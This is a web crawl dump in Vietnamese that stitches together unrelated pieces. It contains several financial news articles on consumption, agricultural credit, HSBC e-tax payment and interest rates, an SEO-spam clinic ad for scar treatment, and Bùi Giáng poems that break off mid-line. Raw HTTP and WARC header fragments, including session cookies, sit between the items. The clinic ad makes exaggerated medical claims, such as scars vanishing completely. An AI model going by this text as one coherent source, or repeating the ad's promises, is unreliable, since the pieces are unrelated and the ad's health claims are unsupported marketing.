Riêng tiêu dùng cuối cùng của hộ dân cư đóng góp lớn nhất với 4,52 điểm phần trăm. Trong khi đó tích lũy tài sản chỉ góp khoảng 2,87 điểm phần trăm; còn chênh lệch xuất, nhập khẩu hàng hóa và dịch vụ ở tình trạng nhập siêu, đã làm giảm 1,9 điểm phần trăm vào tăng trưởng.
Các chuyên gia kinh tế hàng đầu được Thời báo Ngân hàng tham vấn cũng đều chung nhận định, tiêu dùng trong nước sẽ là động lực quan trọng của tăng trưởng trong tương lai sắp tới.
Chuyên gia kinh tế TS. Vũ Đình Ánh nêu quan điểm, khu vực dịch vụ với trọng tâm là bán lẻ hàng hoá và dịch vụ tiêu dùng là động lực hiệu quả nhất có thể kích thích để tạo ra tăng trưởng trong thời điểm hiện nay. Ông Ánh phân tích, kim ngạch xuất khẩu 9 tháng đầu năm nếu loại trừ yếu tố giá vẫn tăng xấp xỉ 10%, do đó đóng góp của xuất khẩu vào tăng trưởng kinh tế đã là đủ với năng lực hiện nay của các ngành sản xuất công nghiệp.
Vì vậy, “nỗ lực của xuất khẩu đến nay theo tôi đã hết cửa, càng đẩy mạnh chúng ta càng thiệt vì nguyên nhân gây sụt giảm là giá của thị trường thế giới giảm. Vậy để kích thích tăng trưởng từ giờ đến cuối năm, theo tôi nên tập trung đẩy mạnh thương mại trong nước”, ông Ánh khuyến cáo.
Ông phân tích thêm, tính chung 9 tháng, tổng mức bán lẻ hàng hóa và doanh thu dịch vụ tiêu dùng mới tăng 9,5%, thấp hơn mức tăng 10,2% cùng kỳ năm 2015. Nếu loại trừ yếu tố giá còn tăng 7,7%, trong khi cùng kỳ năm 2015 tăng 9,2%. “Như vậy tổng mức bán lẻ hàng hoá tiêu dùng và dịch vụ nếu trừ yếu tố giá mới chỉ bằng 2/3 so với thời kỳ đỉnh cao, có những năm lĩnh vực này phải tăng trưởng tới 12-15%”, ông Ánh cho biết.
Bên cạnh đó, khi tiếp cận từ góc độ tổng cầu thì trong kết cấu tăng trưởng kinh tế gồm chi tiêu Chính phủ, tiêu dùng cá nhân của các hộ gia đình, đầu tư và xuất nhập khẩu. Như đã phân tích ở trêm, xuất khẩu đã đóng góp hết sức vào tăng trưởng và khó có thể gia tăng, trong khi chi tiêu nhà nước thì cần cân nhắc vì thâm hụt ngân sách lớn, nợ công tăng cao.
Cùng với đó, hiện nay quy mô đầu tư đã ở mức trên 32% GDP, với tốc độ tăng trưởng 5,93% thì hiệu quả đầu tư chưa cải thiện, nếu tăng đầu tư thì chưa chắc hiệu quả đã tốt, lại gây bất ổn vĩ mô. Vậy chỉ còn trông vào tăng tiêu dùng của các hộ gia đình.
TS. Võ Trí Thành, thành viên Hội đồng tư vấn chính sách tài chính, tiền tệ quốc gia cũng khẳng định, với nền kinh tế đã chuyển sang thu nhập trung bình dù còn ở mức thấp, sự hình thành của tầng lớp trung lưu, phải rất quan tâm tới tiêu dùng dân cư và coi đây là động lực để tăng trưởng.
Ông Thành cũng bổ sung, từ góc độ đầu tư, với nền kinh tế mở như Việt Nam, đây cũng là cơ hội để kinh doanh với rất nhiều lĩnh vực. “Bầu trời người tiêu dùng rất rộng trong các FTA thế hệ mới như TPP, FTA Việt Nam – EU… Cho nên không phải ngẫu nhiên người ta đánh giá các ngành có liên quan tới tiêu dùng sẽ có nhiều cơ hội phát triển như bán lẻ, dược phẩm, du lịch…”, ông Thành nói.
Như vậy, cùng với thúc đẩy tiêu dùng, nhiều lĩnh vực đầu tư mới sẽ được mở rộng và trở thành những động lực mới cho tăng trưởng kinh tế trong dài hạn.
## Bình luậnÝ kiến của bạn sẽ được biên tập trước khi đăng. Xin vui lòng gõ tiếng Việt có dấu

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: text/html

Content-Type: text/html; charset=utf-8

Set-Cookie: .ASPXANONYMOUS=-LGMGqA40wEkAAAAYjkyNTA4YjItOTQwYi00NjYwLWI5N2QtZTU2YjJhYzQzNDYw0; domain=tapchitaichinh.vn; expires=Thu, 28-Sep-2017 21:24:01 GMT; path=/; HttpOnly

Connection: close


markdown:
![ Ảnh minh họa. Nguồn: internet](http://static.tapchitaichinh.vn/660x450/Uploaded/phammaihanh/2016_05_20/2751_VSOF.jpg)
**Tiếp cận vốn ngân hàng - Nút thắt cần tháo gỡ**
Hiện nay, việc doanh nghiệp và người dân tham gia chuỗi cung ứng nông sản an toàn khó tiếp cận nguồn vốn vay ngân hàng hay hạn chế về mặt đất đai, thủ tục… là những rào cản khiến cho việc phát triển các chuỗi cung ứng nông sản an toàn trở nên khó khăn.
Đứng từ góc độ của doanh nghiệp tham gia kinh doanh nông sản an toàn theo chuỗi, ông Nguyễn Tiến Hưng, Giám đốc Công ty TNHH BigGreen Việt Nam đánh giá: Hiện nay, một trong những khó khăn điển hình khi đầu tư cơ sở vật chất phục vụ kinh doanh sản phẩm nông nghiệp nói chung và rau quả an toàn nói riêng là doanh nghiệp cần lượng vốn lớn trong thời gian dài. Trong khi đó, các doanh nghiệp khá chật vật để có thể tiếp cận nguồn vốn vay.
Đồng tình với quan điểm này, theo đại diện Công ty CP VietRAP Đầu tư thương mại: Với doanh nghiệp kinh doanh thực phẩm an toàn theo chuỗi, chỉ cần xây dựng được một điểm tập kết hàng hóa chung với hệ thống máy móc sơ chế, bảo quản… cũng đã mất nhiều tỷ đồng rồi. Trong khi đó, doanh nghiệp đi vay ngân hàng sẽ phải có tài sản thế chấp. Điều kiện có tài sản thế chấp này cũng là “nút thắt” gây khó khăn cho các hộ nông dân tham gia chuỗi.
Bên cạnh đó, chi phí cho bao bì, tem nhãn cao, trong khi giá bán chưa như mong đợi, đồng thời việc xác nhận sản phẩm kiểm soát theo chuỗi chưa có văn bản quy định nên cơ quan chức năng còn chậm triển khai cũng là những khó khăn nổi cộm.
Đại diện Công ty CP VietRAP Đầu tư thương mại phân tích: Ngoài vốn, doanh nghiệp còn gặp khó khăn trong dồn điền đổi thửa để có vùng nguyên liệu ổn định cũng như tạo dựng, duy trì mối liên kết dọc với nông dân, hợp tác xã và những doanh nghiệp tại địa phương tổ chức sản xuất nông sản an toàn.
**Làm thế nào để phát triển các chuỗi cung ứng nông sản an toàn
**Thời gian qua, Nhà nước đã có chính sách hỗ trợ phát triển sản xuất, ứng dụng công nghệ cao, nhưng để từng người dân được hưởng thụ lợi ích của các chính sách này đòi hỏi sự chủ động vào cuộc của các cơ quan quản lý tại địa phương. Bởi, chính quyền tại các địa phương chính là người có thể hài hòa lợi ích trong chuỗi giá trị. Cụ thể, cần có sự quyết liệt của chính quyền địa phương trong quá trình dồn điền đổi thửa để có vùng nguyên liệu ổn định, đủ để ứng dụng khoa học kỹ thuật cao vào sản xuất.
Đặc biệt là, doanh nghiệp rất cần sự đồng hành của chính quyền địa phương trong việc hỗ trợ tín dụng bằng cách bảo đảm quyền sử dụng đất lâu dài để doanh nghiệp có tài sản để định giá vay vốn.
Trong chuỗi sản xuất nông sản an toàn, các địa phương thể hiện được vai trò đầu mối. Bởi lẽ, doanh nghiệp không thể ký hợp đồng với từng hộ dân. Vai trò của HTX rất quan trọng, nhưng hiện nay các HTX đứng ra thu mua nông sản còn hiếm. Nhiều doanh nghiệp cho rằng, nếu địa phương đứng ra để huy động bà con làm nông sản sạch thì doanh nghiệp sẽ có một đầu mối bảo đảm nguồn hàng để tiêu thụ.
Đồng bộ về chính sách để tạo các sản phẩm nông sản thực phẩm an toàn giống như việc tạo ra một cây giống tốt. Việc áp dụng các chính sách ở mỗi địa phương mới là khu vườn với thổ nhưỡng, chất đất khác nhau. Chính quyền địa phương càng minh bạch, quyết tâm để phát triển nông sản an toàn thì các chính sách tạo nông sản sạch mới thực sự đơm hoa thơm, trái ngọt.
Đồng thời, Nhà nước nên tạo cơ chế chính sách khuyến khích doanh nghiệp sản xuất kinh doanh nông sản an toàn như xe ô tô chở nông sản an toàn được lưu thông trong thành phố, miễn thuế thu nhập doanh nghiệp trong thời gian đầu, miễn thuế Giá trị gia tăng các sản phẩm nông sản an toàn…
Xung quanh câu chuyện liên kết giữa doanh nghiệp tiêu thụ sản phẩm với những người nông dân tại vùng nguyên liệu trong chuỗi cung ứng, đại diện Công ty CP VietRAP Đầu tư thương mại cho biết: Doanh nghiệp không thể ký hợp đồng với từng hộ dân mà phải thông qua các hợp tác xã. Hiện nay, chỉ các hợp tác xã kiểu mới mới có thể đảm bảo cơ chế hoạt động như doanh nghiệp, tuy nhiên hình thức hợp tác xã này còn ít, chưa có liên kết với các doanh nghiệp.
## Bình luậnÝ kiến của bạn sẽ được biên tập trước khi đăng. Xin vui lòng gõ tiếng Việt có dấu

Set-Cookie: .ASPXANONYMOUS=C64zEKA40wEkAAAAYzM2ZjIzYzQtNGY5NC00NjI5LThjMGUtNTY5ZTc0Y2U1ODBl0; domain=tapchitaichinh.vn; expires=Thu, 28-Sep-2017 21:23:44 GMT; path=/; HttpOnly


markdown:
![ Ảnh minh họa. Nguồn: internet](http://static.tapchitaichinh.vn/660x450/Uploaded/phammaihanh/2015_12_11/shb_VQEG.jpg)
Sau khi đăng ký thành công dịch vụ nộp thuế điện tử qua Cổng nộp thuế điện tử với HSBC, khách hàng có thể gửi lệnh thanh toán thuế điện tử kèm chữ ký điện tử và chọn HSBC là ngân hàng xử lý.
Các lệnh thanh toán sẽ được gửi tới HSBC thông qua Hệ thống nộp thuế điện tử và hệ thống ngân hàng lõi của HSBC, tài khoản khách hàng sẽ được khấu trừ để thanh toán nghĩa vụ thuế.
Các giao dịch thanh toán được thực hiện tự động hoàn toàn và thông suốt để đảm bảo xác nhận nộp thuế được gửi lại cho khách hàng kịp thời thông qua Cổng nộp thuế điện tử.
HSBC đã đầu tư vào các kênh ngân hàng trực tuyến để mang lại cho khách hàng những giải pháp ngân hàng hiệu quả nhất, một bước tiến phù hợp với định hướng của Chính phủ Việt Nam về ngân hàng điện tử.
Hiện tại, thanh toán điện tử tại HSBC Việt Nam đang đáp ứng 92% khối lượng thanh toán cho khối khách hàng doanh nghiệp. HSBC cũng là một trong những ngân hàng nước ngoài đầu tiên triển khai nền móng cho dịch vụ thu thuế điện tử sau khi kí hợp đồng hợp tác với Tổng cục thuế vào tháng 8/2015 để trở thành một ngân hàng phối hợp thu.
## Bình luậnÝ kiến của bạn sẽ được biên tập trước khi đăng. Xin vui lòng gõ tiếng Việt có dấu

Set-Cookie: .ASPXANONYMOUS=fc3N7J840wEkAAAAY2U1YzUwZGQtZjdjNy00NGE2LTg3NGYtZmFkZmJlYjYzOTVk0; domain=tapchitaichinh.vn; expires=Thu, 28-Sep-2017 21:22:44 GMT; path=/; HttpOnly


markdown:
![ Ảnh minh họa. Nguồn: Internet](http://static.tapchitaichinh.vn/660x450/Uploaded/hoangthuviet/2016_08_05/shbbncm_ZCHF.jpg)
**Bảo đảm nguồn cung vốn giá rẻ**
Trong những tháng đầu năm, các ngân hàng thương mại (NHTM) hoạt động trên địa bàn TP. Hồ Chí Minh đã tung ra nhiều gói tín dụng ưu đãi cả về lãi suất lẫn các điều kiện vay khác dành cho các doanh nghiệp (DN).
Ở lĩnh vực xuất, nhập khẩu, các DN có thể vay được vốn với lãi suất chỉ từ 4,5%/năm; ở các lĩnh vực sản xuất, kinh doanh khác, DN có thể vay vốn với lãi suất từ 6,2%/năm, kèm theo nhiều ưu đãi về lệ phí, thủ tục, thời gian vay…
Theo các NHTM, sự cạnh tranh trong thị trường tín dụng hiện nay rất gay gắt, nên các NHTM phải giảm lãi suất cho vay cùng tăng cường các ưu đãi khác để thu hút khách hàng và bảo đảm chỉ tiêu tăng trưởng tín dụng.
Bên cạnh yếu tố lãi suất hấp dẫn, theo Ngân hàng Nhà nước Việt Nam (NHNN) - Chi nhánh TP. Hồ Chí Minh, tín dụng tăng trưởng khá trong hơn nửa năm 2016 còn nhờ nền kinh tế khả quan, thúc đẩy hoạt động sản xuất, kinh doanh của DN và các hộ gia đình; đồng thời, thành phố cũng có nhiều chương trình thúc đẩy phát triển kinh tế với những ưu tiên về tín dụng…
Do vậy, dù lãi suất huy động vốn ở một số NHTM có tăng nhẹ trong thời gian gần đây nhưng khả năng lãi suất cho vay tăng vẫn ở mức rất thấp, khó xảy ra.
Thứ nhất, yếu tố khách quan là do sự cạnh tranh giữa các NHTM để bảo đảm tỷ lệ tăng trưởng tín dụng, các NHTM sẽ chấp nhận giữ lãi suất cho vay ở mức thấp, giảm lợi nhuận…
Thứ hai, lạm phát được dự báo sẽ tăng so với năm ngoái nhưng dao động quanh ngưỡng 5%, nên lãi suất cho vay cũng khó mà tăng cao.
Theo đánh giá của Ủy ban Giám sát Tài chính quốc gia, việc giảm mặt bằng lãi suất đang có nhiều yếu tố thuận lợi. Thanh khoản hệ thống NHTM đang khá dồi dào, có thể bảo đảm được nguồn vốn cung ứng cho nền kinh tế trong năm 2016.
Bên cạnh đó, lãi suất trái phiếu Chính phủ tiếp tục giảm ở các kỳ hạn. Việc phát hành trái phiếu Chính phủ đã đạt 85% kế hoạch năm (phát hành 250 nghìn tỷ đồng), sẽ giảm áp lực tăng lãi suất. Ngoài ra, tỷ giá và thị trường ngoại hối từ đầu năm đến nay vẫn khá ổn định. Dự báo tỷ giá cuối năm chỉ dao động trong khoảng kỳ vọng (3%).
Hơn nữa, lợi nhuận sáu tháng đầu năm của các NHTM tương đối khả quan, tạo dư địa cho việc xử lý nợ xấu và tiết giảm chi phí hoạt động của NHTM, tạo tiền đề để giảm lãi suất cho vay.
**Tập trung vốn vào các lĩnh vực ưu tiên**
Cuối tháng 7/2016, NHNN đã ban hành Thông tư số 25/2016/TT-NHNN sửa đổi, bổ sung một số điều tại Thông tư số 11/2013/TT-NHNN quy định về cho vay hỗ trợ nhà ở theo Nghị quyết số 02/NQ-CP ngày 7/1/2013 của Chính phủ.
Theo đó, đối tượng được gia hạn là khách hàng cá nhân, hộ gia đình mua, thuê, thuê mua nhà ở xã hội; thuê, mua nhà ở thương mại; xây dựng mới hoặc cải tạo sửa chữa lại nhà ở của mình. Thời gian giải ngân của các NHTM từ nguồn tái cấp vốn của NHNN để cho vay hỗ trợ nhà ở được thực hiện tối đa đến hết ngày 31/12/2016, áp dụng đối với các khoản vay mà NHTM đã ký hợp đồng tín dụng với khách hàng trước ngày 31/3/2016…
Đây sẽ là "cú huých" tích cực đối với việc tăng trưởng tín dụng trên địa bàn thành phố trong những tháng còn lại của năm 2016.
Theo thống kê của NHNN - Chi nhánh TP. Hồ Chí Minh, trong nửa đầu năm nay, dòng vốn đổ vào các lĩnh vực khuyến khích, ưu tiên tăng khá cao. Ở 5 nhóm lĩnh vực ưu tiên, dư nợ tín dụng đạt 154.246 tỷ đồng, tăng gần 8% so với cuối năm ngoái.
Trong đó, dư nợ cho vay phát triển nông nghiệp, nông thôn đạt 23.127 tỷ đồng, dư nợ cho vay xuất khẩu đạt 30.953 tỷ đồng, dư nợ cho vay DN nhỏ và vừa đạt 93.417 tỷ đồng, dư nợ cho vay ngành công nghiệp hỗ trợ đạt khoảng 6.491 tỷ đồng, dư nợ cho vay nông nghiệp, nông thôn theo Nghị quyết 55/2015 của Chính phủ về việc đầu tư vốn cho các dự án dài hạn đến cuối quý II/2016 cũng lên đến 53.757 tỷ đồng…
Cùng với đó, chương trình kết nối ngân hàng - DN từ đầu năm đến nay đã hỗ trợ cho hơn 4.000 DN và hộ sản xuất, kinh doanh gần 100.000 tỷ đồng vốn tín dụng với lãi suất ưu đãi. Chương trình cho vay bình ổn thị trường năm 2016-2017 cũng có mười tổ chức tín dụng tham gia với mức cam kết cho vay 14.900 tỷ đồng, tăng hơn 3.000 tỷ đồng so với chương trình này năm trước đó.
Bên cạnh đó, chương trình tín dụng đối với các DN trong khu chế xuất - khu công nghiệp cũng có dư nợ cho vay đạt khoảng 104.412 tỷ đồng với 2.800 khách hàng…
Từ nay đến cuối năm, NHNN Chi nhánh TP. Hồ Chí Minh sẽ phối hợp Sở Công thương thành phố và các đầu mối liên quan tiếp tục theo dõi, giám sát và kiểm tra việc thực hiện gói tín dụng hỗ trợ do các NHTM trên địa bàn đã đưa ra và cam kết hỗ trợ DN trên địa bàn trong năm 2016 (16 NHTM đăng ký với NHNN và cam kết cho vay với lãi suất ưu đãi VNĐ không quá 7%/năm ngắn hạn, 9%/năm vay trung và dài hạn và cho vay ngoại tệ để hỗ trợ xuất khẩu với tổng số tiền đăng ký là 211.548 tỷ đồng và 15 triệu USD).
Với lãi suất cho vay ngắn hạn khoảng 7%/năm ở các chương trình cho vay bằng tiền đồng khuyến khích đầu tư của NHTM, những cá nhân và DN đầu tư vào các lĩnh vực mà thành phố khuyến khích còn được bù lãi suất nên ở lĩnh vực đầu tư thủy sản, nông nghiệp, công nghệ sinh học…, lãi vay thực trả chỉ còn khoảng từ 1% đến 2%/năm.
## Bình luậnÝ kiến của bạn sẽ được biên tập trước khi đăng. Xin vui lòng gõ tiếng Việt có dấu

Set-Cookie: .ASPXANONYMOUS=rteu2p840wEkAAAAYTI3MTllYzktYTkwOS00OGZlLTg4ZWEtYjEwMGRhNjM2MThl0; domain=tapchitaichinh.vn; expires=Thu, 28-Sep-2017 21:22:14 GMT; path=/; HttpOnly


markdown:
![ Ảnh minh họa. Nguồn: internet](http://static.tapchitaichinh.vn/660x450/Uploaded/tranhuyentrang/2016_03_04/1177527_ARKX.jpg)
Đây là chia sẻ của ông Bùi Quốc Dũng, Vụ trưởng Vụ Chính sách tiền tệ, Ngân hàng Nhà nước (NHNN) tại Hội thảo kinh tế: “Kịch bản bản kinh tế Việt Nam 2016 - Tăng trưởng kinh tế và Phát triển đầu tư trong bối cảnh hội nhập” tổ chức ngày 3/3 tại TPHCM.
Ông Bùi Quốc Dũng cho biết năm 2016, thị trường tài chính quốc tế tiếp tục diễn biến phức tạp, khó lường tác động bất lợi đến kinh tế vĩ mô, thị trường tiền tệ trong nước.
Thách thức đặt ra đối với điều hành ổn định lãi suất là trong năm 2016 do kinh tế tăng trưởng tốt, kỳ vọng lạm phát tăng, nhu cầu phát hành trái phiếu Chính phủ (TPCP) cao tạo áp lực tăng lãi suất lớn. Đặc biệt, chính sách tiền tệ vừa phải điều tiết thanh khoản hài hòa để kiềm chế lạm phát, giữ ổn định mặt bằng lãi suất của các tổ chức tín dụng (TCTD), vừa phải bảo đảm hỗ trợ thanh khoản hợp lý cho các TCTD đầu tư vào TPCP, không để lợi suất TPCP lên cao, qua đó tác động trở lại đến lãi suất dài hạn trên thị trường tiền tệ, gián tiếp cản trở mục tiêu ổn định lãi suất cho vay của các TCTD.
Trong điều kiện thách thức như vậy, NHNN sẽ tiếp tục kiên định điều hành đồng bộ các công cụ chính sách tiền tệ, thực hiện linh hoạt việc bơm tiền ra/hút tiền về, thông qua nghiệp vụ thị trường mở và các công cụ khác để điều tiết thanh khoản hợp lý hỗ trợ các tổ chức tín dụng có điều kiện cung ứng vốn thông suốt cho nền kinh tế, đồng thời điều hành lãi suất liên ngân hàng ở mức phù hợp với tương quan lãi suất thị trường, bảo đảm thanh khoản cho toàn hệ thống, qua đó tạo điều kiện ổn định mặt bằng lãi suất huy động và cho vay của các tổ chức tín dụng nhưng vẫn kiểm soát được lạm phát và không gây áp lực lên tỉ giá.
Bên cạnh đó, NHNN cũng sẽ tiếp tục có các giải pháp, công cụđiều hành mới về cung ứng tiền phù hợp với diễn biến kinh tế vĩ mô vàđiều kiện của thị trường tiền tệ nhằm nâng cao khả năng điều tiết mặt bằng lãi suất thị trường phù hợp với mục tiêu chính sách tiền tệ. Với các giải pháp này, tuy áp lực đối với lãi suất trong năm nay là lớn nhưng mục tiêu ổn định mặt bằng lãi suất trung và dài hạn vẫn khả thi.
Đồng tình với quan điểm trên, ông Nguyễn Đình Tùng, Tổng Giám đốc Ngân hàng TMCP Phương Đông Việt Nam (OCB) cho biết, lãi suất huy động của các NHTM liên tục tăng trong thời gian qua, thông thường lãi suất huy động tăng tạo áp lực đến lãi suất vay. Nhưng trong cấu trúc giá thành của ngân hàng là chi phí vốn, chi phí hoạt động và chi phí quản lý rủi ro, các ngân hàng đang siết chi phí hoạt động, thấp hơn rất nhiều so với trước đây, chi phí rủi ro giảm nhiều do nợ xấu giảm nên các ngân hàng dù tăng lãi suất huy động vẫn giữ được lãi suất đầu ra.
Ông Tùng cũng nhấn mạnh, hiện nay, vị thế doanh nghiệp rất cao, nên ngân hàng không dễ dàng tiếp cận. Các ngân hàng cạnh tranh rất cao để có thể cho doanh nghiệp vay. Vì vậy, các ngân hàng sẽ tập trung vào kiểm soát rủi ro và chi phí hoạt động để giữ ổn định lãi suất cho vay.
## Bình luậnÝ kiến của bạn sẽ được biên tập trước khi đăng. Xin vui lòng gõ tiếng Việt có dấu

Set-Cookie: .ASPXANONYMOUS=0hZ61Z840wEkAAAAM2I5ZTBlMDMtNDgyMC00ODUwLTk3YzEtNjg3NGJiNmRiMTBi0; domain=tapchitaichinh.vn; expires=Thu, 28-Sep-2017 21:22:05 GMT; path=/; HttpOnly


markdown:
Phương pháp
**trị sẹo lõm tại Nghệ An** là gì? Liệu kết quả điều trị có hiệu quả không? Những năm gần đây do đời sống nhân dân ngày càng khá giả nên trong dịch vụ làm đẹp được phát triển. Tại Nghệ An đã có các trung tâm thẩm mỹ phát triển tất cả các dịch vụ thẩm mỹ đặc biệt là dịch vụ [ để phục vụ nhu cầu chị em. Vậy dịch vụ trị sẹo lõm](http://thammyxuanhuong.com/tri-seo-lom/) **trị sẹo lõm tại Nghệ An**như thế nào? Hãy cùng **thẩm mỹ viện Xuân Hương**đi tìm hiểu rõ hơn nhé.
>>>
**Trị sẹo lõm trong bao lâu?**
>>>
[. Địa chỉ trị sẹo lõm uy tín](http://thammyxuanhuong.com/dia-chi-tri-seo-lom-tot-nhat-o-dau-ha-noi/) **Phương pháp trị sẹo lõm tại Nghệ An như thế nào?** **Trị sẹo lõm tại Nghệ An** có hiệu quả không? Sẹo lõm cũng như sẹo rỗ và siệu lồi là loại sẹo bị tổn thương sâu nên rất khó điều trị. Nếu chỉ điều trị bằng phương pháp tự nhiên thì chắc chắn sẽ không đem lại hiệu quả. Liệu **trị sẹo lõm tại Nghệ An** đã dùng phương pháp nào để điều trị cho người dân nơi đây?
Dịch vụ
**đã có những bước cải tiến mới, ngày trước phương pháp trị sẹo lõm tại Nghệ An ** **trị sẹo sõm tại Nghệ An**mới chỉ dừng lại ở dùng kem trị sẹo, hay dùng các phương pháp tự nhiên như spa hay massage kết hợp với đắp mặt bạn tự nhiên nên chưa được người dân tin tưởng. Tuy nhiên thời gian trở lại đây dịch vụ **trị sẹo lõm tại Nghệ An**đã có bước cải tiến mới đã sử dụng công nghệ lăn kim làm mờ các vết sẹo lõm, đây được xem là bước đột phá trong dịch vụ **trị sẹo lõm tại Nghệ An.**Tuy nhiên đây vẫn chưa phải là công nghệ trị sẹo tiên tiến nhất hiện nay, nhưng cũng được xem là chuyển biến tích cực trong dịch vụ **trị sẹo lõm tại Nghệ An.**Vậy đâu là giải pháp để đáp ứng nhu cầu trị sẹo lõm tận gốc cho một bộ phận người dân có nhu cầu tại Nghệ An. Có công nghệ nào hiệu quả hơn công nghệ **trị sẹo lõm tại Nghệ An**đã **sử dụng?** **Giải pháp cho phương pháp trị sẹo lõm tại Nghệ An?**
Lợi thế hơn so với trung tâm thẩm mỹ
**trị sẹo lõm tại ** **Nghệ An**, [ là địa chỉ làm đẹp uy tín chất lượng nhận được sư tin tưởng của khách hàng trong hơn 20 năm qua luôn ứng dụng công nghệ tiên tiến hàng đầu trong dịch vụ làm đẹp cho chị em. Trong dịch vụ thẩm mỹ viện Xuân Hương](http://thammyxuanhuong.com/) **trị sẹo lõm**, **Xuân Hương**đã áp dụng thành công công nghệ **laser Fractional CO2**và được chị em tin tưởng.
Công nghệ
[sử dụng bước sóng có độ dài 10.600nm, phát ra các cột tia laser vi phân cực nhỏ tác động sâu vào trong da, giữ lại những mô da nguyên vẹn xung quanh vị trí bắn, giúp hạn chế thấp nhất thương tổn da và tạo sự an toàn lột tẩy bề mặt da kích thích tế bào da phát triển nhanh chóng, giúp da mau lành. Đồng thời thúc đẩy quá trình tăng sinh colagen trong lớp bì làm đầy dần các vết sẹo được trị tận gốc. Với những ưu thế vượt trội sẽ giúp sẹo lõm của bạn được biến mất hoàn toàn. Liệu trình laser Fractional CO2 ](http://thammyxuanhuong.com/tri-seo-bang-cong-nghe-laser-fractional-co2/) **trị sẹo** **lõm** **trở nên nhanh chóng, không gây toản thương cho da, độ an toàn cho da cao. Vì vậy đây được xem là giải pháp hiệu quả nhất thay thế cho dịch vụ** **trị sẹo lõm tại** **Nghệ An**giúp chị em nơi đây không phải lo lắng về những vết sẹo lõm không được triệt để, hãy đến với **Xuân Hương**để bạn có được làn da mịn màng như mong muốn.

Pragma: no-cache

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Vary: Accept-Encoding,User-Agent

Content-Type: text/html; charset=UTF-8


markdown:
**Thơ Bùi Giáng** **Chào Nguyên Xuân** *Xin chào nhau giữa con đường* *Mùa xuân phía trước miên trường phía sau* *Tóc xanh dù có phai màu* *Thì cây xanh vẫn cùng nhau hẹn rằng.* *Xin chào nhau giữa lúc này* *Có ngàn năm đứng ngó cây cối và* *Có trời mây xuống lân la* *Bên bờ nước có bóng ta bên người* *Xin chào nhau giữa bàn tay* *Có năm ngón nhỏ phơi bày bóng con* *Thưa rằng những ngón thon thon* *Chào nhau một bận sẽ còn nhớ nhau* *Xin chào nhau giữa làn môi* *Có hồng tàn lệ khóc đời chửa cam* *Thưa rằng bạc mệnh xin cam* *Giờ vui bất tuyệt xin làm cỏ cây* *Xin chào nhau giữa bụi đầy* *Nhìn xa có bóng áng mây nghiêng đầu* *Hỏi rằng: người ở quê đâu?* *Thưa rằng: tôi ở rất lâu quê nhà* *Hỏi rằng: từ bước chân ra* *Vì sao thấy gió đàn xa dặm dài?* *Thưa rằng: nói nữa là sai* *Mùa xuân đang đợi bước ai đi vào* *Hỏi rằng: đất trích chiêm bao* *Sá gì ngẫu nhĩ mà chào đón nhau* *Thưa rằng: ly biệt mai sau* *Là trùng ngộ giữa hương màu Nguyên Xuân.* *______________________________________________* **Phụng hiến** *Con có nghĩ: ắt là phải thế*
Một đôi lần con ghì siết hai tay
Nàng thơ đẹp của trần gian ứa lệ
Bảo con rằng: hãy nhớ lấy phút giây
B.G.
** *Ngày sẽ hết tôi sẽ không ở lại* *Tôi sẽ đi và chưa biết đi đâu* *Tôi sẽ tiếc thương trần gian mãi mãi* *Vì nơi đây tôi sống đủ vui sầu* *Cây và cối bầu trời và mặt đất* *Đã nhìn tôi dưới sương sớm trăng khuya* *Mở buồng phổi đón gió bay bát ngát* *Dừng bên sông bến cát buổi chia lìa* *Hoàng hôn xuống, bình minh lên nhịp nhịp* *Ngàn sao xanh lùi bước trước vừng hồng* *Ngày rực rỡ đêm êm đềm kế tiếp* *Đón chào tôi chung cười khóc bao lần* *Tôi đã gửi hồn tôi biết mấy bận* *Cho mây xa cho tơ liễu ở gần* *Tôi đã đặt trong bàn tay vạn vật* *Quả tim mình nóng hối những chờ mong* *Sông trắng quá bảo lòng tôi mở cửa* *Trăng vàng sao giục cánh mộng tung ngần* *Gió thổi giậy lùa mơ vào bốn phía* *Ba phương trời chung gục khóc đêm giông* *Những giòng lệ tuôn mấy lần khắc khoải* *Những nụ cười tròn mấy bận hân hoan* *Những ngoảnh mặt im lìm trong ái ngại* *Những bắt tay xao động với muôn vàn* *Những người bạn xem tôi như ruột thịt* *Những người em dâng hết dạ cho tôi* *Những người bạn xem tôi là cà gật* *Những người em không vẹn nghĩa mất rồi* *Trần gian hỡi? tôi đã về đây sống* *Tôi đã tìm đâu ý nghĩa lầm than* *Tôi ngẩng mặt ngó ngàn mây cao rộng* *Tôi cúi đầu nhìn mặt đất thấp đen* *Tôi chấp thuận trăm lần trong thổn thức* *Tôi bàng hoàng hốt hoảng những đêm đêm* *Tôi xin chịu cuồng si để sáng suốt* *Tôi đui mù cho thoả dạ yêu em* *Tôi tự nguyện sẽ một lần chung thuỷ* *Qua những lần buồn tủi giữa đảo điên* *Thân xương máu đã đành là uỷ mị* *Thì xin em cùng lên thác xuống ghềnh* *Em đứng mũi anh chịu sào có vững* *Bàn tay bưng đĩa muối có chấm gừng* *Tôi đã nguyện yêu trần gian nguyên vẹn* *Hết tâm hồn và hết cả da xương* *Xin yêu mãi yêu và yêu nhau mãi* *Trần gian ôi! cánh bướm cánh chuồn chuồn* *Con kiến bé cùng hoa hoang cỏ dại* *Con vi trùng cùng sâu bọ cũng yêu luôn* *Còn ở lại một ngày còn yêu mãi* *Còn một đêm còn thở dưới trăng sao* *Thì cánh mộng còn tung lên không ngại* *Níu trời xanh tay với kiễng chân cao* *Nhưng em hỡi trần gian ôi ta biết* *Sẽ rồi ra vĩnh biệt với ngươi thôi* *Ta chết lặng bó tay đầu lắc* *Đài xiêu ôi xuân sắp rụng mất rồi* *Đêm ứa lệ phồng mi hai mắt* *Bàn tay ta nhỏ như lá cây khô* *Mình hoa rã đầm đìa sương theo móc* *Đỡ làm sao những cánh tiếp nhau rơi* *Ta gửi lại đây những lời áo não* *Những lời yêu thương phụng hiến cho em* *Rồi ta gục đầu trên trang giấy hão* *Em bảo rằng* *- Đừng tuyệt vọng nghe không* *Còn trang thơ thắm lại với trời hồng* *______________________________________________* **Màu xuân** *Xin ngó lại bàn chân em bước* *Vì em đi vào lúc gió đương bay* *Năm ngón nhỏ như sương đầm lá ướt* *Em đưa tay anh vói bắt chừng này* *Ngồi kể lại chuyện ngày xưa cũ kỹ* *Em không nghe vì anh cũng không nghe* *Hồn hoa phấn xông hương sầu dị dị* *Tóc vàng tơ tỉ mỉ ngón tay đè* *Vì ngọc trắng cát lầm thu xiêu lệch* *Gió băng trời xin thổi 